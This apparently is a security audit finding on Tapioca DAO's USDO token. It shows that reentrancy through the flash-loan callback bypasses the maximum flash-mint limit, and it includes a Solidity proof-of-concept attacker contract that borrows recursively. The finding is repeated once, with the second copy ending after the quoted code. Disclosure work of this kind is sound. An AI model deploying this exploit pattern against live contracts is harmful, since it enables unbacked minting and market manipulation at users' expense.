---
# System prepended metadata

title: Exchange Questions

---

### `USDO` flashLoan reentrancy can bypass `maxFlashMint`


`USDO` flashLoan limits the maximum amount of tokens can be `flashLoan`.

```solidity
File: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L88

function flashLoan(
    IERC3156FlashBorrower receiver,
    address token,
    uint256 amount,
    bytes calldata data
) external override notPaused returns (bool) {
    require(token == address(this), "USDO: token not valid");
    require(maxFlashLoan(token) >= amount, "USDO: amount too big");
    require(amount > 0, "USDO: amount not valid");
    uint256 fee = flashFee(token, amount);
    _mint(address(receiver), amount);

    require(
        receiver.onFlashLoan(msg.sender, token, amount, fee, data) ==
            FLASH_MINT_CALLBACK_SUCCESS,
        "USDO: failed"
    );

    uint256 _allowance = allowance(address(receiver), address(this));
    require(_allowance >= (amount + fee), "USDO: repay not approved");
    _approve(address(receiver), address(this), _allowance - (amount + fee));
    _burn(address(receiver), amount + fee);
    return true;
}
```

Its default limitation is 100K.

```solidity
File: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/BaseUSDOStorage.sol#L78

    flashMintFee = 10; // 0.001%
    maxFlashMint = 100_000 * 1e18; // 100k USDO
```

However, this can be bypassed with `USDO flashLoan reentrancy`: a malicious smart contract can call `flashLoan` again in `onFlashLoan` callback function.

A proof of concept can be:

```solidity
File: https://github.com/AndyJiangPro/tapioca-bar-audit/blob/bypass_maxFlashLoan/contracts/usd0/test/USDOFlashLoan.sol

contract USDOFlashLoan is Ownable, IERC3156FlashBorrower {
    IUSDO target;
    uint256 round;
    bytes32 internal constant FLASH_MINT_CALLBACK_SUCCESS =
        keccak256("ERC3156FlashBorrower.onFlashLoan");

    constructor(address _target) {
        target = IUSDO(_target);
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        // validate `msg.sender`, etc
        target.approve(address(target), type(uint256).max);
        if (round == 1) {
            // the maximum loan amount should be 100 K
            // after 10 rounds, this smart contract can loan 1000 K
            // this malicious contract can use these tokens to do something bad
            // like, manipulate AMM pools, etc
            uint256 balance = target.balanceOf(address(this));
            console.log("balance: %s", balance / 1 ether);
            return FLASH_MINT_CALLBACK_SUCCESS;
        }
        round = round - 1;
        _loan();
        return FLASH_MINT_CALLBACK_SUCCESS;
    }
    function _loan() internal {
        bytes memory data = new bytes(0);
        uint maxFlashLoan = target.maxFlashLoan(address(target));
        target.flashLoan(
            IERC3156FlashBorrower(address(this)),
            address(target),
            maxFlashLoan,
            data
        );
    }

    function startLoan() external onlyOwner {
        bytes memory data = new bytes(0);
        // loan 10 times
        round = 10;
        _loan();
    }
}
```

This vulnerability can be marked as high because malicious users can mint an arbitrary amount of `USDO` tokens in the `flashLoan`.



### `USDO` flashLoan reentrancy can bypass `maxFlashMint`


`USDO` flashLoan limits the maximum amount of tokens can be `flashLoan`.

```solidity
File: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L88

function flashLoan(
    IERC3156FlashBorrower receiver,
    address token,
    uint256 amount,
    bytes calldata data
) external override notPaused returns (bool) {
    require(token == address(this), "USDO: token not valid");
    require(maxFlashLoan(token) >= amount, "USDO: amount too big");
    require(amount > 0, "USDO: amount not valid");
    uint256 fee = flashFee(token, amount);
    _mint(address(receiver), amount);

    require(
        receiver.onFlashLoan(msg.sender, token, amount, fee, data) ==
            FLASH_MINT_CALLBACK_SUCCESS,
        "USDO: failed"
    );

    uint256 _allowance = allowance(address(receiver), address(this));
    require(_allowance >= (amount + fee), "USDO: repay not approved");
    _approve(address(receiver), address(this), _allowance - (amount + fee));
    _burn(address(receiver), amount + fee);
    return true;
}
```